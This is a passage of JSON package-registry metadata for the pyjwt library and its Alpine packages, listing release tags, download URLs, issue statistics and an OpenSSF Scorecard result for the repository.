epositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.287Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.680705976734856,"stargazers_count":2.3131434683781253,"forks_count":2.2797165396443377,"average":6.56839149618933},"purl":"pkg:apk/alpine/py3-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.14","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.14","url":"https://pkgs.alpinelinux.org/packages?branch=v3.14","ecosystem":"alpine","default":false,"packages_count":14958,"maintainers_count":258,"namespaces_count":2,"keywords_count":2179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":675},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.706Z","updated_at":"2026-06-10T05:14:53.730Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/namespaces"}},{"id":8677147,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-07-30T23:54:50.000Z","latest_release_published_at":"2023-07-30T23:54:50.000Z","latest_release_number":"2.8.0-r0","last_synced_at":"2026-04-15T02:07:51.236Z","created_at":"2023-12-20T10:28:12.237Z","updated_at":"2026-05-29T04:00:36.314Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party 